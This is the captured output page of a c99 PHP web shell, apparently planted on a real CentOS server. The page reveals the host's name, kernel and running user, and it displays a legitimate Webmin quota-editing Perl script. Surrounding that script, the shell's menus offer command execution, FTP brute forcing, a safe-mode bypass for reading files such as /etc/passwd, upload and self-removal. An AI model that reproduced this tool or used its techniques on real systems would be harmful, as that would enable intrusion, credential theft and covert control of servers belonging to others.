!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/quota/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_user_quota.cgi (2.34 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_user_quota.cgi
# Display a form for editing the quotas for a user on some filesystem

require './quota-lib.pl';
&ReadParse();
$u = $in{'user'}; $fs = $in{'filesys'};
&can_edit_user($u) ||
    &error(&text('euser_eallowus', $u));
$access{'ro'} && &error(&text('euser_eallowus', $u));
&can_edit_filesys($fs) ||
    &error($text{'euser_eallowfs'});
&ui_print_header(undef, $text{'euser_title'}, "", "edit_user_quota");

@quot = &user_quota($u, $fs);
$first = (@quot == 0);
$bsize = &block_size($fs);
$fsbsize = &block_size($fs, 1);

print &ui_form_start("save_user_quota.cgi");
print &ui_hidden("user", $u);
print &ui_hidden("filesys", $fs);
print &ui_hidden("source", $in{'source'});
print &ui_table_start(&text('euser_quotas', &html_escape($u), $fs),
              "width=100%", 4);

# Soft block limit
print &ui_table_row($bsize ? $text{'euser_sklimit'} : $text{'euser_sblimit'},
    &quota_input("sblocks", $quot[1], $bsize));

# Hard block limit
print &ui_table_row($bsize ? $text{'euser_hklimit'} : $text{'euser_hblimit'},
    &quota_input("hblocks", $quot[2], $bsize));

# Space used
if (!$first) {
    if ($bsize) {
        print &ui_table_row($text{'euser_kused'},
                    &nice_size($quot[0]*$bsize));
        }
    else {
        print &ui_table_row($text{'euser_bused'},
                    $quot[0]);
        }
    }

if ($access{'diskspace'}) {
    # Filesystem space
    ($binfo, $finfo) = &filesystem_info($fs, undef, undef, $fsbsize);
    print &ui_table_row($bsize ? $text{'euser_sdisk'}
                   : $text{'euser_bdisk'}, $binfo);
    }

print &ui_table_hr();

# Sort file limit
print &ui_table_row($text{'euser_sflimit'},
    &quota_input("sfiles", $quot[4]));

# Hard file limit
print &ui_table_row($text{'euser_hflimit'},
    &quota_input("hfiles", $quot[5]));

# Files used
if (!$first) {
    print &ui_table_row($text{'euser_fused'}, $quot[3]);
    }

if ($access{'diskspace'}) {
    # Number of files
    print &ui_table_row($text{'euser_fdisk'}, $finfo);
    }

print &ui_table_end();
print &ui_form_end([ [ undef, $text{'euser_update'} ] ]);

print &ui_hr();

print &ui_buttons_start();
print &ui_buttons_row("user_filesys.cgi", $text{'euser_listall'},
              $text{'euser_listalldesc'},
              &ui_hidden("user", $u));
print &ui_buttons_end();

if ($in{'source'}) {
    &ui_print_footer("user_filesys.cgi?user=".&urlize($u),
             $text{'euser_freturn'});
    }
else {
    &ui_print_footer("list_users.cgi?dir=".&urlize($fs),
             $text{'euser_ureturn'});
    }



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0105 ]--